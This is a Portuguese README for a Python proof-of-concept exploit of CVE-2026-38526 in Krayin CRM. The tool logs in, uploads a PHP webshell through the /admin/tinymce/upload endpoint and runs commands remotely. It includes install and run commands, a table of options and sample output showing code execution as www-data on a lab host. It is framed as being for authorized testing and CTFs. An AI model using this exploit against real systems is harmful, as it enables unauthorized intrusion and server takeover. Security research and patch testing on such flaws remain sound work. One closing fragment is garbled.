
PoC em Python que explora a CVE-2026-38526 no Krayin CRM <= 2.2.x: autentica, faz upload de um webshell PHP via /admin/tinymce/upload e executa comandos remotamente.
⚠️ Aviso legal: este código é fornecido apenas para fins educativos e para testes autorizados (CTF, bug bounty, laboratório privado). O autor não é responsável por qualquer uso ilegal.
Krayin CRM (Webkul) ≤ 2.2.x expõe o endpoint /admin/tinymce/upload
que permite a um usuário autenticado (mesmo com privilégios baixos)
enviar arquivos sem validação de extensão. O arquivo é
então servido a partir da pasta storage/, permitindo a execução
arbitrária de código PHP.
git clone https://github.com/<TON_PSEUDO>/cve-2026-38526.git
cd cve-2026-38526
pip install -r requirements.txt
python3 cve-2026-38526.py -t http://target.tld -u [email protected] -p 'password' -c 'id'
Opções:
| Opção | Descrição |
|---|---|
-t, --target | URL raiz do alvo |
-u, --user | Email da conta Krayin |
-p, --password | Senha |
-c, --command | Comando a executar (padrão: id) |
--login-path | Caminho de login (padrão: /admin/login) |
--upload-path | Caminho de upload (padrão: /admin/tinymce/upload) |
--timeout | Timeout HTTP (padrão: 15) |
$ python3 cve-2026-38526.py -t http://billing.nexus.htb \
-u [email protected] -p 'N27xh!!2ucY04' -c 'id'
[*] Recuperação do token CSRF em http://billing.nexus.htb/admin/login
[*] Envio do formulário de login
[+] Autenticação bem-sucedida
[*] Upload de x8f2k1ab.php via http://billing.nexus.htb/admin/tinymce/upload
[+] Webshell acessível: http://billing.nexus.htb/storage/tinymce/x8f2k1ab.php
[*] Execução: id
============================================================
[+] Comando: id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
storage/ e uploads/.Este projeto é publicado para fins de pesquisa em segurança. Qualquer uso contra sistemas sem autorização prévia por escrito é ilegal e estritamente proibido.